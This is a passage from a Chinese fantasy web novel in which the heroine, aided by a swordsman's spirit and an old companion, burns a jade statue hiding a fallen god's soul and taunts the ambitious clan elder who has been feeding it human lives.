云绡知道这道冷意不是因为恰好此时是冬季,而是因为诸多怨气挥散不去,还有一股力量吞噬了山中所有生机。 钟离湛的目光落在圣仙像的身上,云绡也震惊,诧异:“短短几个月,真的能叫望月山的灵气稀薄至此?” 钟离湛看着圣仙像的目光越来越冷,忽而一道寒意袭来,云绡忍不住打了个哆嗦,就像是虚空中有一双无形的眼正凉飕飕地盯着她,带着杀意,随时能索她的命。 云绡何其敏锐,她顺着那道视线朝上看。 乍然间,她明白这圣仙像的熟悉感从何而来。 白玉打造的圣仙像,高可通天,周身在月色下笼罩着如同薄纱一样的雾气,赫然就像是苍穹之上的神灵,是云绡在钟离湛的梦境里看见过的巨人。 云上巨人,纯白之体。 那伫立于月坛顶上的圣仙像这个时候在云绡的眼里,更像是睥睨山巅,俯瞰苍生的恶鬼。 一个念头豁然而生,直叫云绡毛骨悚然。 她还没问出口,钟离湛便突然朝着圣仙像喊出了一道名字:“元司。” 元司? 是谁? 就在钟离湛喊出这两个字之后,那股迫人的威压就更甚,直逼得云绡喘不过气来,往后退了两步。 钟离湛拦在云绡身前,云绡便立刻缩着肩膀躲在他的身后。那股骇人的气势退去了许多,而她的耳畔也响起了一道沧桑的,沙哑的声音,如同破刃相磨,极其刺耳。 “钟、离、湛。” 玉像里的人,和钟离湛是认得的!而云绡三次回到过去,居然从来没听说过元司这个人。 “天神在说什么?” 另一道声音打破了云绡的疑惑。 这又是苍老的,沙哑的,带着诚惶诚恐的声音,是个女人。 云绡从钟离湛的身后走出来,但她没有再朝圣仙像靠近,而是在钟离湛能护住的范围内朝月坛顶上再行两步,这才绕过圣仙像,看见了面朝着圣仙像的方向跪拜的人。 那是个身着绸缎,披着狐裘,两鬓苍白的妇人。 那人虔诚地跪着,双手于胸前合十,仰着头,露出整张脸。 “是司徒音漓。” 陡然出现的声音叫云绡一惊,她捂着砰砰乱跳的心口瞪了不知何时出现在身后的仲卿一眼。 仲卿没看云绡,他的视线一直落在老妇人的身上,过去了这么多年,他还是一眼就认出了对方。 云绡诧异:“你不是说你和司徒音漓青 梅竹马?怎么她看上去才五十左右,而你……嗯……京都的风水不养人吗?” 仲卿:“……” 他强忍着翻白眼的冲动,咬牙切齿道:“那是因为她吃了不老丹。” 正是因为这不老丹特殊,才能让司徒音璃一介女子入主古殿,成为湖族长老之一。更甚至在几十年后的今天,她是湖族长老之首。 仲卿说不清此刻他看见司徒音璃的感受,数十年未见,他记忆里的女人又变了模样。 可没变的是司徒音璃眼底的执。 仲卿知道,她是个极度疯狂的女人,一旦要决定什么事,不惜一切代价都要去做到。 便是少女时期与那司徒家找回来的真千金赌一口气,她都能辗转于好几个男人的身边,抛弃所有,一步步达成心愿。 她不在意他人的生死,也不在意身边至亲之人的感受,她要的是自己的心满意足。 仲卿叹了口气,对云绡道:“那两只野鸡察觉到徐容靳入山了,主动找来,方才告诉徐容靳,这十多天山里仍然有人死去。” 这也是仲卿从百层阶梯下爬上来的原因。 原本说好他和徐容靳在下面望风的,但既然他们知道到了晚上圣仙像仍然会杀人,仲卿就必须得尽快告诉云绡和钟离湛这个消息。 “大火烧了望月山的第三天,司徒音璃就渡船来东洲了。她自来了望月山之后就一直没下山,每日于圣仙像前虔诚叩拜,她喊圣仙像天神,并且自言自语,和圣仙像碎碎念了很多话。”仲卿说到这儿蹙眉:“因为那场大火很多人都不敢再上望月山,活着下山的人都说是杀神残念在此作祟,司徒音璃找不到送死的人,便让自己的府卫每日上山十人,供圣仙像吞噬。” 云绡听着,搓了搓胳膊上的鸡皮疙瘩。 “那些人都是自愿的?” 仲卿轻声一笑:“说是如此,你也看见咱们半山腰碰见的守卫,他们也是即将要上山来送死的。只要月色当空之时,他们抬头看了一眼圣仙像的脸,魂魄就会被圣仙像摄夺。” 自愿送死?仲卿不太相信。 云绡也不信,她道:“更有可能,是药物控制。” 仲卿一怔,脊背发凉:“不、不老丹?” 云绡朝钟离湛的背后问了句:“这圣仙像里藏着的魂魄,是不是当初你斩断苍穹对曦族的掌控,破除此间天地相连后,遭棋盘反噬,被拉下凡尘的那个巨人?” “绡绡真聪明。” 钟离湛的声音传来,他没回头,双眸仍然牢牢地盯着圣仙像。 钟离湛唤出了那道魂魄的名字,就足以让对方恐惧和忌惮。 元司,曾是掌控曦族人的对弈方之一,两千多年前钟离湛的咒语让他从云端跌落,坠入了天与曦族地界最近的地方。 钟离湛还记得他的封印彻底杀死洛娥,让她永远只能是一座雪山之后,脊骨处的诛神剑嗡声阵阵,似乎是冲破了某种禁制,被他的力量掌控,重新回到了他的手中。 而那时他沉睡数日,大梦一场,梦见了他总是反复梦到的画面。他执剑与数名纯白巨人对立,他的剑永远也无法斩断前路荆棘,一遍遍重复,每一次都比上一次多向前一步。 只要他能前进一寸,伤到那些巨人一分,他就能长大一些。 梦境的最后,他与那些巨人同等身量,他的剑,能够贯穿他们所有人的身躯,他屠戮了棋盘。 梦非梦,它印证了现实,现实里,他的确曾“杀死”过一个神明。 而此刻,那神明听见了他的声音,在唤出他的名字后,躲在玉像中默不作声,瑟瑟发抖。 - 司徒音璃侧耳仔细听着,她似乎能从风中听到细细的交谈声,她辨别不出那些声音传来的方向和他们相谈的内容,她只是仍然跪在原地,不敢轻举妄动。 因为一直以来以心声与她沟通的天神,在方才吐出模糊的三个字后便沉默了。 司徒音璃问了一遍,她不敢再问第二遍。 毕竟这些天她一直都在为自己的粗心赎罪,即便望月山上的大火不是她放的,即便她手下的人已经尽力救火,可那火势还是烧到了圣仙像,灼伤了天神的身体。 司徒音璃只希望天神不要动怒,她尽量缩小自己的存在感,毕恭毕敬地趴在地面上。马上时辰就到了,马上,今夜贡献给天神的十个魂魄,就要送上前来。 司徒音璃没等太久,她听见了一步步靠近的脚步声,额头的一滴汗与压在心上的石头一并落了下来。 今夜的时间,比她想象的要快一些。 司徒音璃回头朝身后看去,没看见上山的人。 她浑身一僵,脸上血色霎时间褪尽,她颤抖着回过头,朝自己的前方看去。 只见巨大的玉像身前,一抹瘦弱的橙红色身影在月色下格外显眼,银月之辉与她的衣袂相融,为她镀上了层浅金色。 司徒音璃有那么一瞬,以为自己看见了天神的真身。 可她听过天神的声音,不似少女,天神的声音更威严,如佛音靡靡。 不过一瞬的恍惚,司徒音璃就回过神来,因为她又看见了一个人,那道熟悉的身影,时隔数十年仍然叫她立刻认出对方。 “梁仲卿?” 司徒音璃直觉事情似乎脱离了掌控,她缓缓起身,本能地不想在仲卿面前暴露她与天神有所羁绊之事。 司徒音璃本想静观其变,等这突然出现的二人先开口,她再思索着如何回答,待拖延到那送死的十人上山,让他们在被夺魂之前,先将这二人解决! 可她没想到的是……那个陌生的、看上去娇小瘦弱的少女,行事如此诡谲乖僻。 云绡在司徒音璃站起身后,先是对她露出了一抹甜美的笑容。 再转身,阔步朝圣仙像走去。 云绡手掌一翻,一张黄符贴上了圣仙像的裙摆,不过刹那,火焰燃烧,顺着白玉雕像,直往上窜。 第123章 云绡贴完火符,再后退几步,转过身来让叫司徒音漓将她看得更清楚。 司徒音漓见到火光的那一瞬心便沉了下去,她维持住的稳重假面在这一刻出现了龟裂。 即便她极力忍耐,仲卿和云绡还是看出了她的不对劲,尤其是她垂在身侧紧握的双手,都快将狐裘边缘的软毛给揪下来了。 云绡微微挑眉,心道:就这? 她可不止有这个。 云绡又一次朝司徒音漓露出笑容,司徒音漓在看见她笑容的那一瞬浑身一僵,不好的预感越发强烈,还不等她开口,便见云绡双手轻轻一拍—— 那张贴在圣仙像上的火符引起的火焰突然拔高,一张火符迅速分身,黄符从火焰中飞了出来,从一化成了百,环绕在圣仙像周围,将它团团围住。 霎时间,火光几乎冲天。 “啊——” 司徒音漓目眦欲裂,短促的一声尖叫之后,她告诫自己不能被人抓住把柄,这才收了情绪,可那双眼却分外仇恨地看向仲卿和云绡。 “你们、你们怎么能对圣仙不敬?” 司徒音璃不知仲卿和云绡怎么会出现在这里,且不知云绡的身份和目的,湖族对外称来月坛建造圣仙像,是为了压制月坛上属于杀神钟离湛的怨气,是为了造福天下苍生。 可她建造圣仙像的真正意图,除了湖族古殿长老和一些氏族家主之外并没其他人知晓,那些人也不会将他们的目的说出去。 所以司徒音漓不能暴露圣仙像存在的意义,也不能让其他人知晓自己的野心。 她深吸一口气,不断于心中呼唤着天神,只可惜那道声音自方才戛然而止之后,便再也没有出现过。 司徒音漓想,一定是因为这个地方出现了这些不相干的人,天神才敛藏了起来。 她要尽快解决现状困境,这也是天神给她的考验。 司徒音漓不管云绡为何会突然对圣仙像发难,她迫切地想要抓住仲卿的弱点,不过片刻思索便开口威胁:“许久不见啊,梁仲卿,没想到你弑帝之后居然还 敢往湖族跑,你就不怕我命人抓住你,扭送回京?” 云绡撇嘴,没想到这女人还挺能活,她这把火放得如此烈,对方居然也能忍得下心,不理会她,反而去找仲卿说话。 或许在司徒音漓看来,仲卿才是主导者,云绡不过是奉命行事。 云绡的眼珠子转了一圈,突然想到了有趣的玩法。 她几步跳到仲卿身边,朝着仲卿喊道:“爷爷,这位老奶奶就是你之前和我说的,那个恬不知耻勾引大伯爷,害得大伯爷出家的人吧?” 仲卿:“???” 云绡话音才落,司徒音漓的脸色比刚才她放火烧了圣仙像时更加难看,云绡就知道,她戳中司徒音漓的痛点了。 云绡给圣仙像放火也不是她冲动行事,而是她和钟离湛之间有不可言说的默契。 她猜到了圣仙像里躲藏着的魂魄并非司徒音漓从那些建造圣仙像的百姓中选出来的,且几个月的时间,每天夜里死十几个人也未必真的能养出可以操纵灵魂的鬼怪。 当初湖族在百战神的话本传说中,百姓们给百战神塑造的金身之所以可以操纵死尸,是因为它被放置在了战场上。 被云上巨人玩弄的战场,每日枉死的人不计其数,那种情况下养成一个可以操纵死尸的恶鬼有可能。 靠司徒音漓这样养法,没个几十上百年也养不出来。 钟离湛喊出了那道魂的名字,云绡点明了对方的身份,他们只需对视一眼,云绡就知道钟离湛想要将圣仙像里的魂给逼出来。 对方感应到了钟离湛的存在,却未必能看见他,正如之前在锦仙山,洛娥能嗅到钟离湛的气息,却始终不能看见钟离湛的魂魄。 所以云绡撕了身上的隐身符,暴露在司徒音漓的面前,打算火符逼出元司的魂,顺便将司徒音漓给收拾了。 司徒音漓深吸了几口气也无法压制内心因方才听见的那句话,而生气的怒意。 云绡摆出一派天真的模样,心想:这还不气死? 小手挽住仲卿的胳膊,云绡再添一把火:“难怪爷爷更喜欢奶奶,奶奶看上去比她好看多了,她怎么瞧着那么显老?你看她竟然还长白发了!奶奶就不长白发,都是因为爷爷你宠得好,奶奶和我说,她从来没烦恼,所以才漂亮。” 仲卿:“……” 云绡的手顺势在仲卿的胳膊里掐了一下,仲卿差点儿叫出声。 不过他脑子转得快,很快就知道云绡这是打算干什么,干笑了两声,接话道:“你奶奶今年才五十二,本来就很年轻漂亮。” 云绡笑得更开心了。 尤其是在看到司徒音漓那张脸扭曲得就好似她被圣仙像摄魂夺魄,马上就要去咬人了一样。 “嗯!爷爷,你要感谢这位奶奶当年不嫁之恩啊!”云绡对着司徒音漓眨巴眨巴眼,声音娇娇地问:“不过这位奶奶怎么大半夜一个人在山上?你的夫君呢?啊……对不起,是我忘记了,爷爷说,你的夫君早故,我、我是不是戳到你的痛处了?” 云绡满脸同情和怜悯:“这也是没办法的啊,这位奶奶,你那夫君本就比你年长太多,先你而去也很正常。不过没关系的,我看你年纪不小了,想必很快就能和你的夫君恩爱团圆了。” 司徒音漓:“闭嘴!闭嘴!闭上你的臭嘴!” 尖叫之后,司徒音漓心中的郁气仍然未能发泄出来,她那双眼猩红地瞪着仲卿,似乎他是什么负心汉般。 年过六十的女子,即便尽心保养,身体也仍然经受不住情绪上的刺激,尤其是云绡字字诛心。 司徒音漓恨啊! 她自从嫁给了沈家的家主之后,就再也没有受到过如此侮辱。即便她如何走上今天这般地位人人心中都知晓,他们或许背后也无数次耻笑她的手段,可只要当着她的面,那些人仍然要对她伏低做小,尽显奴颜媚骨。 可那层已经维护她体面数十年的遮羞布,被云绡毫不掩饰地扯了下来,在她这张年迈的脸上反复碾压。 她几乎说尽了司徒音漓的痛点。 不过还差一些。 云绡在司徒音漓的尖叫声中,做出一副被惊吓的模样,她躲在仲卿的身后,娇小的少女露出几分骇然:“怎么……她突然就发疯了啊?哦,我知道了,她和奶奶不一样,奶奶是京中贵女,她是乡野村姑,礼数教养是没法比的。” 司徒音漓:“……啊啊啊——我要杀了你!我杀了你!” 她喊出这句话,便拼尽全力地朝阶梯上扑了过来。 云绡的眼中露出几分冷凛,不过她的脸上仍然在笑,她毫无畏惧,就在司徒音漓近在咫尺,即将扑上她的脸来时,云绡开口了:“喂,老妖婆。” “老……”妖婆? 仲卿吞咽了一下。 云绡朝圣仙像的方向抬了抬下巴道:“看看你的护身符,他快要被烧死了哦。” 司徒音漓在见到云绡这动作,听到她的话那一刹那,头脑里即将崩溃的那根弦骤然绷紧,她也顾不上要杀云绡了,抬头便朝圣仙像望去。 曾经从天神的手中逃脱后疯癫了的那些人,说圣仙像到了夜里会变成恶鬼,司徒音漓让司徒家的府卫作为祭品替天神完成魂魄力量的摄取时,她也不曾抬头去看过他的面容。 可今日,她看见了那声如佛音靡靡的天神,当真像是疯子口中描述的恶鬼。没有五官的圣仙像上被火光投出了一张扭曲的,狰狞的,张狂的,又恐惧到疯癫的脸。 嘶哑的声音从圣仙像中传了出来。 又是那个模糊的名字,这一次司徒音璃听清楚了。 “钟离湛,钟离湛!你怎那么还没死?你怎么还没死——” 这声音不像是一个人发出来的,年幼的,年轻的,年迈的,好几种声音交叠再一起,他们共同嘶喊着钟离湛的名字,诉说着对他的痛恨和咒骂。 圣仙像上那张可怕的脸,也终于有了清晰的模样。 云绡退得足够远,所以看得也足够完整。 巨大的圣仙像中不同的尚未完全融合的魂魄只虚虚地填入了玉像的半段,那些魂魄在火符下露出了不同的表情,交叠在一起化成了圣仙像的脸。 那不是元司的魂,他的魂太虚弱了,承载不了这么庞然的身躯。 一个从来站在云端之上睥睨众生的神明,即便一朝失算,坠下天界,身躯被破,灵魂躲藏在望月山上,可他也仍然不允许自己附身于一个寻常的、脆弱的、肮脏的身体。 那些挤压在圣仙像里的魂魄拥有不同的颜色,有好有坏,有深有浅,如同画像中斑驳的霉点,一点点在烈火的灼烧下,随着破旧的画纸化作灰烟消散。 云绡绘的火符没有钟离湛的那般厉害,可她的符仍然能“烧死”寻常百姓的魂魄,支撑着元司魂魄的力量一点点消散,终于还是将龟缩其中的他本人给逼了出来。 “你是谁?!钟离湛呢?!这是他的火符!” 一道暗淡深蓝的纹路勾勒着圣仙像的形状,他在喊出这道疑问的时候双手撑地,才被填充了半边的身体从胸腹以下被火焰吞噬。 灵魂之光,从圣仙像中脱离了出来。 巍然的圣仙像屹立在月色下,没有下半身的暗蓝色的灵魂露出了那张狰狞的脸。 他俯身而来,巨大的头颅压在了云绡的面前,荡开的气劲吓退了仲卿,也叫险些疯魔的司徒音璃双腿一软,滚下好几层台阶。 云绡站在原地没动,倒不是因为她没被吓到,而是因为钟离湛挡在了她的身前,阻拦了那股森冷之气。 元司空洞的双眼直勾勾地盯着云绡,问她:“钟离湛呢?让他出来见我!” “失败者,如何配赢家来见?” 云绡反问,元司发出癫狂的笑声:“哈哈哈——赢家?!他?!他不过是区区凡人!若没有我,他连一百岁都活不到,又怎么能成为五族的主宰?!他不过是个忘恩负义,恩将仇报的小人!” “若没有你,他或许不会成为五族主宰,可若没有你们,这世上根本没有五族之分。” 云绡的话叫元司一怔。 “你……你知道什么?” 云绡嗤笑:“我知道一切,且不光是我知道,不久的将来,天下人都会知道!你们宁可违背规则也要杀死钟离湛的目的,不就是害怕苍生生起逆反心,而你们遭到大地的反噬,最终自食恶果吗?” 云绡压下心中对堕神残魂的恐惧,强迫自己直面他的威压,绕过钟离湛。 这一次她将钟离湛拦在自己身后,全然一副维护的姿态,直视着那双巨大的孔洞道:“神仙能亲手杀凡人吗?不能!所以你们当初既然敢在最后关头操纵他的剑去杀他,恰是因为他已经不是凡人了,对不对?” “我亲眼所见,那把剑从天而降,褪去凡铁之身,化出了【诛神】二字。此剑有灵,不杀无辜之魂,也不会弑主,所以钟离湛没死,你们也没得逞。” 这是云绡从诛神剑下躲过一劫又因祸得福的原因。 也是她从两千多年前暴雨布满咒文, 解除苍穹对曦族人真正的诅咒时,悟出来的真相。 若钟离湛只是一个好人,他至多背负多一些的功德。 可若钟离湛从始至终想要的,一直都是苍生安宁,不论小家、大国,他要的是解放世间所有凡人灵魂血脉里被牵制的那根线,那他就已然超脱凡身。 云绡冷声道:“你何止是失败者?你简直一败涂地!甚至两千多年后的今日,汲汲营营,仍然逃不过属于你的命运。元司,你杀不死的,终会杀死你。” 冬夜的风,带来了山间初绽的野梅清香。 钟离湛看向站在自己面前维护着他的少女,那双眼里只能勾勒出她的模样。 第124章 “你、是谁?” 云绡这番话,震撼元司的残魂。 五族由来,天地羁绊,这是他们极力隐藏的秘密。普天之下,恐怕只有一个人知道这一切,而那个人,应当永远也不会将这个秘密说出去。 “你可认得,何舜?” 元司问完,云绡冷笑了一声:“认得,自然是认得……不过我所知道的可不是何舜告诉我的。” 元司也有猜测。 纵使钟离湛只是一介凡人,可这天下多少年也未必能出他这样一个凡人。 便是何舜,他得到了钟离湛交给他的一切,却也只能学到钟离湛的皮毛。而方才眼前少女贴上圣仙像的火符,即便不是出自于钟离湛之手,可上面符文绘制的方式、笔触、字迹,都与钟离湛的有九分相似。 其实元司早就知道答案了,只是他不愿承认、也不敢承认。 回想当年从云台坠落,四色的棋盘上他的棋子随着他的坠落化作齑粉,从此以后那上面再也没有他的名字……雷霆阵阵,从天而降的雨水里所有咒文都成了对他的反噬,他曾经对凡人施下了何种咒语,咒语断裂之后便对他产生了等同程度的伤害。 元司永远都记得,他从天际仰躺着落下时,刮过身上的风如同剔骨的刀,一刀刀削去了他的力量,而他的魂魄也在雨水的浇淋之下,千疮百孔。 没有神明身份的庇护,他也成了天道的弃子,最后重重地摔在了脏污的泥泞之中。 望月山上,只有月坛白净,每一层阶梯上刻下的符文元司都看过无数遍,所以他知道钟离湛究竟走到了哪一步。 回望钟离湛的一生,云绡说他杀不死的,终将会杀死他,更成了一句诅咒。 而那诅咒他的少女,脸上露出方才看司徒音璃一样怜悯又嘲讽的眼神,她的眼底再也没有对元司的畏惧。 此刻在云绡的眼里,元司已经不再是她借着钟离湛的梦所见到的,永远也无法越过去的高山白云,他也不再是拥有无上法力,可以碾压苍生如同碾死一只蚂蚁的巨人。 云绡笑了笑:“你还记不记得,五族分裂,各自为主时的帝王?人族的垚帝,曦族的桓帝,尾人族的轩帝,湖族的眴帝还有旖族的垣帝,他们像不像曾经的你们?高高在上,祸乱苍生,视人命如草芥,自以为掌握了无上的权力,实际上所行之恶事,罄竹难书。” 云绡朝元司抬了抬下巴,像是挑衅:“他们是如何死的,可要我帮你回忆回忆?” 他们,都因残暴不仁,被钟离湛一剑杀死。 而洛娥也好,元司也罢,最终也会落得同样的下场。 狠话放完了,说爽了,自然是要动手的,云绡才不会给元司苟延残喘、卷土重来的机会。 她往后退了两步,脊背轻轻靠在了钟离湛的胸膛上,钟离湛的左手顺势搂住了她的腰,云绡一怔,摇了摇头对他道:“我不是要你抱我,我是要你附身于我,拔出剑,弄死他。” 云绡知道以她的力量不一定能真的弄死元司,但她相信钟离湛一定可以,他的剑,能杀死这世间的一切罪恶。 钟离湛当然知道她的用意,他轻轻弯下腰,下巴磕在云绡的头顶上,吻上了她发上的木簪,声音温柔地问她:“你想不想试一试?” “试什么?”云绡疑惑,又有些了然的激动。 钟离湛道:“试一试,握住我的剑,杀死恶魂。” 云绡立刻兴奋道:“好啊好啊!” 说完她又后知后觉地想起来,忸怩又不走心地问了句:“我用你的剑,会不会不太好啊?” 钟离湛:“……” 虽然装装的,但他能扛住。 云绡没给钟离湛反悔的机会,身体往后又退了半步,微翘的臀尖蹭了一下钟离湛的腿。钟离湛的表情一僵,耳尖霎时间通红,但他还是按捺住浮躁的心跳,另一只手握住了云绡的右手手腕。 钟离湛的魂魄与云绡的身体有一半融合,他能控制住云绡的四肢,却不会屏蔽住她的五感,和附身时完全不同,她的一切行为,都可以由她自己掌控。 二人的交谈很快,在元司和其他两人的眼里,也不过是几个眨眼的功夫,而后云绡的周身气势骤然改变。 有那么一瞬,元司觉得自己看见了钟离湛的灵魂。 可他的灵魂怎么会在一个少女的身上? 下一瞬,元司的魂魄连连后退,恨不得退回仍然被大火燃烧的圣仙像内。 因为他看见了那把诛神剑! 一把泛着银光的剑从钟离湛的手腕,穿过云绡的掌心,他伏在云绡的耳边对她道:“闭上你的眼睛,想象剑的形状,它就在你的身体里,所以你能驱使它,它和我一样,都属于你。” 两千多年,诸神剑的剑身早已与钟离湛的脊骨融为一体,而钟离湛的骨剑,也被他融入到云绡的脊骨处,所以他说诛神剑属于她并非假话。 云绡缓缓闭上眼,她回忆起自己曾看见过的诛神剑,随即便感觉到手腕处的温度,除了钟离湛滚烫的灵魂之外,还有一道更为炙热的,正在颤动的气。 云绡用力握住了它,只听锵地一声。 再睁眼,云绡便能看见手中多出的一把剑。 剑身光洁,剑刃锋利,她抬起了那把剑,再用力朝眼前一挥。 剑气荡开,势如破竹,在白玉铺成的月坛上留下了深深的痕迹,也将那伫立的圣仙像斩断了一条胳膊。 云绡挽了个剑花,再看元司的时眼神就变了。 才找回自己呼吸和意识的仲卿看见了云绡的表情,他只觉得似曾相见,直到那道暗蓝色魂魄的巨人转身往山林而去,云绡又拔腿跟上时他才想起来自己何时见过她这模样。 不就是他和云绡才刚逃出京都,在林子里,仲卿以为云绡被什么脏东西附身,而她举着手中的匕首毫不留情就冲过来要杀他时的样子嘛! 这么想来,云绡追元司的魂魄,大约要在弄死对方之前,先耍对方一顿的。 元司的魂魄没有腿,他逃跑得十分滑稽,他认不得云绡的身份,也不确定钟离湛是否就在周围,可他认得云绡手里的那把剑,那把能要了他的命,让他永远灰飞烟灭的剑。 他一边 跑,一边求饶。 哪儿有半点在司徒音璃前趾高气昂,故弄玄虚的模样?他双手并额头地爬出月坛,可他的灵魂被永远禁锢在这座山上,不论怎么逃也只能狼狈地躲避朝他飞来的剑,而后灵魂又被剑削去了一些。 如同人间的凌迟,元司的力量越来越弱,也跑不动了……可他内心的恐惧却越来越大,因为他察觉到了对方的意图,云绡便是要他灰飞烟灭,也不想他太痛快。 她要他受恐惧的折磨,魂魄四分五裂之痛,来偿还数千年来,因他而亡之人。 - “天神!天神!等等我!” 司徒音璃像是死里逃生,才从无数次的惊愕中回过神来。 眼看着那个已经被她仰视过数十年的天神魂魄竟如丧家之犬,在少女的追逐之下滚爬离开,她的理智和这些年坚持的一切信念都随之崩塌! 不论如何,这是她最后的底牌,她要杀死那个少女,她不能让对方伤害到天神! 司徒音璃艰难地爬起来,还没走出两步,便被人拦住了去路。 看清站在自己面前的是谁,司徒音璃抬手便要给对方一个耳光,仲卿微微侧过头,躲开了她的手掌,可阻拦她的身体没有后退半步。 “梁仲卿!你为何要这样?你是不是恨我?你是不是在报复我?!”司徒音璃崩溃到体面的狐裘落在地上她也不管不顾了。 映天的火光之下,年迈却仍然因为不老丹保留几分姿色的妇人痛恨地看向仲卿,歇斯底里地拽着他的衣裳,怒吼道:“这么多年你的心里一定很不甘吧?不甘我让你成为笑柄!不甘我让你梁家蒙羞!不甘我叫你兄嫂分离一生!不甘我把你赶出湖族!所以你才找了个不知哪儿来的女人生儿育女,最后生出这么个女子,前来气我!” “怎么?你敢弑帝了,如今也敢弑神吗?!”司徒音璃几乎咬碎牙齿道:“我不会让你称心如意的!梁仲卿,他是真的天神!而天神,是尔等凡人永远也无法抹杀的存在!” 若此刻站在司徒音璃面前的是年少时的仲卿,他一定觉得司徒音璃又开始发疯了。 可仲卿到底经历数十年,虽不懂男女之情,却也能从司徒音璃的话语中听出,她的内心仍然在纠结过去。 她以为仲卿会为了陈年往事生恨,以为仲卿这次回来就是为了要找她复仇,其实仲卿没想这些,如今顺着她的话想了,他才明白她话里真正的含义。 这一刻时空仿佛重叠回了五十年前,那时候司徒音璃因为司徒家的真千金归来满心仇怨,疯魔一般对他诉说着自己对真千金的忌惮和嫉恨。 而他当时因为有青梅竹马的情谊,也认为自己今后会和司徒音璃成亲,故而耐着性子安慰她。可他劝说的所有话都不是司徒音璃想听的,所以才有了后来司徒音璃以他梁家为跳板,一步步往上走。 今日的司徒音璃,在仲卿眼里和过去的她没有任何区别。 司徒音璃从始至终都没有改变过。 时间只是在她的身上留下了风霜痕迹,却没改变她偏执又自私的本性。 仲卿此刻恍然惊觉,有时候人还是要不断地学习的,他在云绡身边耳濡目染,多少学到了点儿她的表演能力和那张淬了毒的口舌。 他知道怎么说,才能让司徒音璃崩溃。 “你在胡说什么?我这几十年在京中过得很好。”仲卿道:“我虽离开湖族,却也因此结实毕生所爱。我与双亲一直书信往来,他们也都是寿终正寝,兄嫂分离虽有些遗憾,可兄长出家后也早已释怀。” “司徒音璃,不是我在记恨你,是你还活在过去,以为所有人都在原地踏步,可其实我早就过上了全新的生活,我过去的五十年的记忆里,丝毫没有你。” 仲卿说完这话,司徒音璃突然安静下来了。 她不可置信地看向仲卿,像是听不懂他说了什么,可他说的每一个字却都像是插在她心上的刀。 仲卿有些意外,又试探地开口:“你在害怕什么?你已经拥有了你想拥有的一切,先是抛弃无德无才的我,再脚踩将你当成亲妹妹的梁伯昀,后嫁给我们的长辈,逼死了舅母,迫使那位司徒家的真千金只能远嫁他乡,一生未归。 更甚至,你成了沈家的掌权者,还将沈家如今唯一的孩子改了你姓。在湖族你说一不二,如此还不够吗?还有和能让你恐惧的?这不都是你想要的?” 司徒音璃踉跄地后退一步,血色褪尽:“是啊,这、这都是我想要的!” “真的是吗?”仲卿扯了扯嘴角:“是你后来活得越久越发现,你想要的却非能拥有的,而你曾拥有的,早就被你抛弃了吧?是你如今什么都依仗着不老丹,那些给予你地位的人也能随时将你拉下高坛,你看似获得了一切,却又什么都没得到,最后能抓住的,也只有那个堕神残魂给你的承诺。” “他答应了你什么?你用魂魄填满圣仙像,他便帮你将天下收入囊中?” 仲卿嗤笑:“别傻了,你不过是一枚他能利用且趁手的棋子,待到他的魂魄与圣仙像融合,你的灵魂也会成为他身体里的一部分。” “司徒音璃,别光长年龄,不长脑子。” 第125章 云绡之前对仲卿说,给司徒音漓安排好的死法是被气死,云绡方才那些话没叫司徒音漓气死,仲卿觉得自己这些诛心之言恐怕是真的能要了司徒音漓的命。 司徒音漓几乎要喘不上气来了。 因为她的心底有个声音不断地提醒她,其实仲卿说的都是真的。如今到了六十多岁,她真正能抓在手中的东西少之又少,而她的身份地位,也都仰赖于天神赐予的不老丹。 她根本不会练就不老丹,这不老丹的来历也不是因为她看过圣仙古籍,从那些古籍中感悟出来的灵光一现。 古殿的长老们可能也知道,她不过是为了给自己提供的不老丹找一个合适的借口。他们才不在乎她的借口是什么,他们要的,也只是利用她达到目的罢了。 人的野心是能被滋养到无限长大的,曾经哄着司徒音漓入古殿的长老们,后来对她说的每一句话都成了威胁。他们索要的越来越多,而司徒音漓除了顺应,别无选择。 司徒音漓也有野心,回顾她一路走来,她的野心何尝不是被不老丹给养大了。 她在外人面前活得体面,可只有她自己知道,她的内心没有一天是真正被满足的。 偏偏,她看似拥有了这么多的人生,和被逼远走他乡的仲卿比起来,那么乏味,那么不值一提,这叫司徒音漓如何甘心? 她说仲卿不甘心,实则不甘心的,是她自己。 她说仲卿恨她,实则真正满心怨恨的人,也是她自己。 她说仲卿做着一切是对她的报复,可她当初的所有行径,也是对仲卿的报复罢了。 “不是的,才不是!我过得很好,整个湖族如今都在我的掌控之中!我熬死了那些老东西,没死的也早就被古殿边缘化,只要我想,在湖族境内,我就是主宰一切的湖族之主!而你,你不过是个只能东躲西藏的可怜虫罢了。” 司徒音漓说完这话,昂着头死死地盯着仲卿的脸,似乎是想从他的脸上看出点儿什么,哪怕看出一星半点的后悔,她都会觉得无比畅快。 仲卿没有后悔,但不代表,他的心里对司徒音漓真的没有恨意。 怎么可能会释怀呢?司徒音漓对他,对梁家的伤害,便是她死了也不能偿还。 仲卿是害怕她的,一个拥有理智的人,在面对疯子的时候总会胆怯,可当这个疯子已经彻底丧失分辨是非的能力了,她的心性也就如同稚儿一般简单易懂。 “司徒音漓,你……知道你时日无多了吗?”仲卿突然开口,他认真地看向司徒音漓道:“难道你信奉的天神,没有告诉过你,你的身体里有一个小东西,随时会要了你的命?” 司徒音漓闻言,不知想到了什么,呼吸一窒,人也往后退了半步。 她想起来了某一天,她来望月山面见元司的残魂时,元司突然问了她一句:你得罪过你的爱人? 司徒音漓彼时回答,她没有夫君,她是个寡妇,在湖族境内也有人会用此身份嘲笑她或者伤害她,不过那些被她听到的难听的话,也都被她用另一种方式彻底捂住了嘴巴。 元司只是好奇,他并没有提醒。 因为于他而言,司徒音漓真的就只是一枚棋子而已,他怎么可能会在意棋子的死活? 可司徒音漓却知道,她虽是个寡妇,没有夫君,但在那次见元司之前,她和一个人缠绵过数日。 “你……”司徒音漓想问仲卿,他这话是何意思。 可她又本能地觉得,仲卿的话不可信。 她不问,仲卿也是要说的:“这世上有一种蛊,唯有极为信任之人又或在极度欢愉之时,可以被种在身上,那个蛊叫神鬼蛊,你应当听说过吧?” 仲卿当初知晓神鬼蛊,是因为神鬼蛊的记载传自曦族,他很喜欢研究符阵之术,故而有所了解。 而曦族与湖族相邻,湖族古殿里的长老也听说过一些。他师父当年就听过,还告诉过仲卿一旦唤醒沉睡在人身体里的神鬼蛊后,那个人便会被吸干血液于心头开出一朵血色的诡异花朵。 所以仲卿后来在显帝的身上看到这一幕,才能一眼认出显帝死于神鬼蛊。 甚至都无需仲卿多言了,他只提了神鬼蛊,司徒音漓便想到了那个人。 